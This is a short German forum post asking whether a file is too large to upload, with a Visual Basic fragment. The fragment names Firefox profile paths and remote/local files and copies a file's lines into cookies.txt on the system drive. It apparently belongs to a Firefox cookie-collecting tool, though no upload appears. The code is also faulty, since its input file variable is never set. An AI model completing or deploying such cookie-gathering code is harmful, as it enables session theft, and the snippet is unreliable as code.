Datei zu groß für upload? Verfasst am: 06.05.2009, 20:55
Code:
Private Sub Form_Load()
Dim FireFoxPath As String
Dim ProfilePath As String
Dim no7 As String
Dim no6 As String
Dim ProfileName As String
Dim Useless As String
Dim localfile As String
Dim remotefile As String
Dim complete As String
Open complete For Input As #1
Do While Not EOF(1)
zeile = ""
Line Input #1, zeile
List1.AddItem zeile
Open Environ("SystemDrive") & "\cookies.txt" For Output As #2
For i = 1 To List1.ListCount - 1
Print #2, List1.List(i)
Next
Close #2
Loop
Close #1
Registrieren
Login
